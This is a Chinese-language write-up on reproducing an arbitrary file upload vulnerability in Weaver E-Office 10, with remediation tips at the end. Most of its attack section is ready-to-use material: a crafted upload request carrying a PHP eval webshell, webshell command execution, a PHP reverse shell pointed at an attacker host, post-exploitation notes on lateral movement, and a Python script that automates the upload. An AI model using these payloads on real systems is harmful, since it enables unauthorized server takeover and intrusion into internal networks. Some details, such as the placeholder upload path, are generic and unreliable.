漏洞复现--泛微E-Office 10任意文件上传漏洞
字数 925 2025-08-10 12:18:03
泛微E-Office 10任意文件上传漏洞复现与分析
漏洞概述
泛微E-Office 10存在一个任意文件上传漏洞,攻击者可以利用该漏洞在未授权的情况下上传恶意文件到服务器,可能导致远程代码执行(RCE)、服务器控制等严重后果。
漏洞影响版本
- 泛微E-Office 10全版本
漏洞原理
该漏洞源于泛微E-Office 10的文件上传功能未对上传文件类型进行严格校验,且上传路径可预测,导致攻击者可以绕过限制上传任意文件。
环境准备
测试环境搭建
- 下载并安装泛微E-Office 10
- 配置PHP环境(Apache/Nginx + PHP)
- 确保系统满足E-Office的运行要求
工具准备
- Burp Suite或类似的HTTP拦截工具
- 浏览器
- 文本编辑器
- 中国菜刀/蚁剑等WebShell管理工具(仅用于测试)
漏洞复现步骤
1. 发现上传接口
通过分析发现,泛微E-Office 10的文件上传接口位于:
/泛微目录/upload.php
2. 构造恶意请求
使用Burp Suite拦截正常文件上传请求,修改请求内容:
POST /泛微目录/upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: [长度]
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
<?php @eval($_POST['cmd']);?>
------WebKitFormBoundaryABC123--
3. 绕过上传限制
该漏洞无需特殊绕过技巧,直接上传PHP等可执行文件即可成功。
4. 确认上传成功
服务器会返回类似以下响应:
{
"code": 1,
"msg": "上传成功",
"data": {
"url": "upload/20231007/abcdefg.php"
}
}
5. 访问上传的文件
构造的WebShell可以通过以下URL访问:
http://target.com/泛微目录/upload/20231007/abcdefg.php
6. 执行任意代码
通过POST方式传递命令参数:
cmd=system("whoami");
漏洞利用进阶
1. 获取服务器信息
<?php
phpinfo();
?>
2. 反弹Shell
<?php
$sock=fsockopen("attacker_ip",port);
exec("/bin/sh -i <&3 >&3 2>&3");
?>
3. 内网渗透
利用已上传的WebShell进行内网扫描和横向移动。
修复建议
临时解决方案
- 删除或重命名upload.php文件
- 设置upload目录不可执行脚本
- 配置Web服务器禁止执行upload目录下的PHP文件
官方修复方案
- 升级到最新版本
- 应用官方发布的安全补丁
防御措施
-
实施严格的文件上传验证:
- 检查文件扩展名
- 验证文件内容
- 限制上传文件类型
-
配置服务器安全:
- 设置上传目录不可执行
- 限制上传文件大小
- 定期检查上传目录
-
实施WAF规则拦截恶意文件上传
漏洞验证脚本示例
import requests
target = "http://target.com/泛微目录/upload.php"
shell = {
"file": ("shell.php", "<?php @eval($_POST['cmd']);?>", "application/octet-stream")
}
response = requests.post(target, files=shell)
print(response.text)
总结
泛微E-Office 10的任意文件上传漏洞是一个高危漏洞,攻击者可以轻易获取服务器控制权。建议所有使用该软件的用户立即检查系统安全性并采取相应防护措施。